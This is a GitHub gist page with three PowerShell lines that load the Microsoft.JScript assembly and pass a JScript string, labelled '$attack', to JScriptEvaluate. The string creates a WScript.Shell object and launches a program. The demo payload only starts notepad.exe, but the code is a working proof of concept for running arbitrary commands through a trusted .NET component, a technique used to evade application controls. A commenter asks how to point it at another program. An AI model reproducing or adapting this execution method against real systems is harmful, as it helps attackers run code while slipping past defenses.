Skip to content

Instantly share code, notes, and snippets.

@homjxi0e
Created March 13, 2018 22:08
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save homjxi0e/0d683007bd4a3ce39d3e19342aaa68ec to your computer and use it in GitHub Desktop.
Save homjxi0e/0d683007bd4a3ce39d3e19342aaa68ec to your computer and use it in GitHub Desktop.
.Exmaple
1 look at this invoke Show :>
[Reflection.Assembly]::LoadWithPartialName('Microsoft.JSCript')
2 Next add Values JScript attack For Execution
$attack = 'var invokeMethod = new ActiveXObject("WScript.Shell");invokeMethod.Run("notepad.exe")'
3 Build Execute Values Method using Eval VSA.Engine
[Microsoft.JScript.Eval]::JScriptEvaluate($attack,[Microsoft.JScript.Vsa.VsaEngine]::CreateEngine())
@cryptonic01
Copy link

how can we run a specific program ? with the path ?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment